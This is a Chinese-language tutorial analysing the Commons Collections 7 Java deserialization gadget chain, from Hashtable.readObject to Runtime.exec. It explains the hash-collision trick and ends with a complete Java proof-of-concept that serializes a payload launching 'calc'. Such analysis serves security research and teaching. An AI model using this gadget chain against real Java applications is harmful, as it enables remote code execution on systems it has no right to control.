CommonsCollection7调用流程
调用链
HashTable.readObject()
|
TransformingComparator.compare()
|
InstantiateTransformer.transform()
|
TrAXFilter.TrAXFilter()
|
TemplatesImpl.newTransformer()
Ysoserial 官方版本调用链
/*
Payload method chain:
java.util.Hashtable.readObject
java.util.Hashtable.reconstitutionPut
org.apache.commons.collections.map.AbstractMapDecorator.equals
java.util.AbstractMap.equals
org.apache.commons.collections.map.LazyMap.get
org.apache.commons.collections.functors.ChainedTransformer.transform
org.apache.commons.collections.functors.InvokerTransformer.transform
java.lang.reflect.Method.invoke
sun.reflect.DelegatingMethodAccessorImpl.invoke
sun.reflect.NativeMethodAccessorImpl.invoke
sun.reflect.NativeMethodAccessorImpl.invoke0
java.lang.Runtime.exec
*/
一些关键类的分析
AbstractMap类分析
equals方法中 这里调用了get 我们可以将m赋值LazyMap类即可触发LazyMap.get()
下来继续跟调用equals的地方
AbstractMapDecorator类分析
在AbstractMapDecorator类中的equals方法中调用了ma.equals() 给map赋值AbstractMap类即可触发
再继续跟调用AbstractMap#equals()的地方
Hashtable 类分析
Hashtable是原始的java.util的一部分, 是一个Dictionary具体的实现 。
Hashtable类中的reconstitutionPut它这里触发了key.equals()
再找调用reconstitutionPut 方法的地方
成功找到
分析完这些类 再进行poc分析
POC分析
先来看第一个疑问为啥这里要放两个LazyMap
Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap();
// Creating two LazyMaps with colliding hashes, in order to force element comparison during readObject
Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
lazyMap1.put("yy", 1);
Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
lazyMap2.put("zZ", 1);
// Use the colliding Maps as keys in Hashtable
Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, 1);
hashtable.put(lazyMap2, 2);
首先new了两个HashMap对象,之后分别利用这两个对象作为参数通过LazyMap.decorate()
方法new了两个LazyMap对象
然后分别添加到Hashtable
中, 但是前面看到的都是使用一次,为什么这里需要重复2次重复的操作呢?
下面来分析一下。Hashtable
的reconstitutionPut
方法是被遍历调用的,
可以看这是再第一次进行循环触发到这里 此时tab为空 是不会进入for循环里面的所以也就不会触发里面的equals()
在reconstitutionPut() 中第一次走完 for循环到最后对tab进行了赋值一个entry 这个值的key是我们第一次put进的LazyMap
此时 代码返回到readObject中进行for第二次循环 第二次触发reconstitutionPut 继续看这里 可以完美进入for中触发 e.key.equals(key)
再来看这段代码引入第二个问题
第二个问题 为啥要移除yy元素
lazyMap2.remove("yy");
其实最主要的是后面的lazyMap2.remove
这个步骤。至于为什么需要在最后面移除该值,其实在LazyMap
的get方法里面就可以看到。
如果不移的话会调用get函数 便不会进入if里面了
第三个问题Payload中的yy和zZ能否改成其他字符串
要保证hashcode一致,理论上会有很多选择,实际上很难找出合适的
可用的Payload,字符串AaAaAa和BBAaBB的hashcode相同,测试通过
Map lazyMap1 = LazyMap.decorate(innerMap1,chainedTransformer);
lazyMap1.put("AaAaAa",1);
Map lazyMap2 = LazyMap.decorate(innerMap2,chainedTransformer);
lazyMap2.put("BBAaBB",1);
......
lazyMap2.remove("AaAaAa");
最终poc
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.AbstractMapDecorator;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.AbstractMap;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;
public class cc7 {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
// Reusing transformer chain and LazyMap gadgets from previous payloads
final String[] execArgs = new String[]{"calc"};
final Transformer transformerChain = new ChainedTransformer(new Transformer[]{});
final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class},
execArgs),
new ConstantTransformer(1)};
Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap();
// Creating two LazyMaps with colliding hashes, in order to force element comparison during readObject
Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
lazyMap1.put("yy", 1);
Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
lazyMap2.put("zZ", 1);
// Use the colliding Maps as keys in Hashtable
Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, 1);
hashtable.put(lazyMap2, 2);
Field iTransformers = ChainedTransformer.class.getDeclaredField("iTransformers");
iTransformers.setAccessible(true);
iTransformers.set(transformerChain,transformers);
// Reflections.setFieldValue(transformerChain, "iTransformers", transformers);
// Needed to ensure hash collision after previous manipulations
lazyMap2.remove("yy");
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("test1.out"));
objectOutputStream.writeObject(hashtable);
objectOutputStream.close();
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("test1.out"));
objectInputStream.readObject();
// return hashtable;
}
}